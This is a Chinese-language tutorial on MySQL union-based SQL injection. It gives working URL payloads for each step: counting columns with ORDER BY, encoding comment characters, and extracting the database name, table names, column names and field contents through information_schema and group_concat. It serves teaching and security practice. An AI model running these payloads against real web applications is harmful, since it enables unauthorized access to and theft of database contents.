思路:
1.首先要找到能与数据库交互的注入点:
2.测试字段的数量,判断SQL语句查询的列数:
在这里我们使用的命理是order by
通常构造:
?id=1’ order by sum–+ 和 1’ order by sum#
这里的sum指代的是数字从1开始逐个测试直至3回显有报错为止:
?id=1’ order by 1–+
?id=1’ order by 2–+
?id=1’ order by 3–+
?id=1’ order by 4–+
?id=1’ order by 5–+
?id=1’ order by 6–+
?id=1’ order by 7–+
……
当出现报错的时候就说明所测试的sum数字是超出了数据库的字段数,那么数据库的字段数就是sum-1
注意:
这里有必要说一下这个注释符:
井号(#)在URL中无法使用?
url中#号是用来指导浏览器动作的(例如锚点),对服务器端是无用的。所以,HTTP请求中不包括#,将#号改成url的编码%23就可以了
在SQL语句中注释是(-- )减减空格或者(–’)减减单引号,而在URL中空格会被截掉成空,所以将空格URL编码,用(–%20)也可以。
3.用union命令将两条命令语句联合起来进行查询并拿到相应的数据库名称:
这里因为union命令的性质需要将前面的查询语句的结果报错,所以可以在构造语句的时候可以将ID的值设为数据表中不会出现的值,同时在联合命令database()、user()、version()来回显数据库的名称、用户、当前的版本号。
通常构造:
?id=0’ union select 1,2,3,database()–+ 或 0’ union select 1,2,3,database()#
4.在拿到数据库的名称后就需要获取数据表的名称:
但是这里有需要注意的地方:
mysql不同版本的数据库结构不同
MySQL版本⼩于5.0时,不⽀持union select联合查询,这里就需要使用暴力破解的方法,但是目前mysql版本基本都大于5.0,所以基本都可以使用联合查询的方法。
MySQL版本⼤于5.0时,有一个自带的默认数据库叫information_schema,这个数据库中保存了 Mysql中数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。
这一步的爆破表名就需要使用到这个数据库的内容中的information_schema.tables
构造命令:
?id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 或 0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #
5.爆破相应表的列名:
这里一般会有多个列,会超出显示并报错,所以使用函数group_concat将其合并输出
通常构造:
?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“之前爆破的表名” --+ 或 ?id=0’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=“之前爆破的表名” #
其中的table_name="" 需要“”或者用十六进制来表述
6.爆破相应的字段内容:
这个就是直接读取相应的内容
通常构造:
?id=0’ union select 1,2,3,group_concat(所爆破字段名) from 所爆破表名 --+ 或者 id=0’ union select 1,2,(select 所爆破字段名from 所爆破表名 ),4#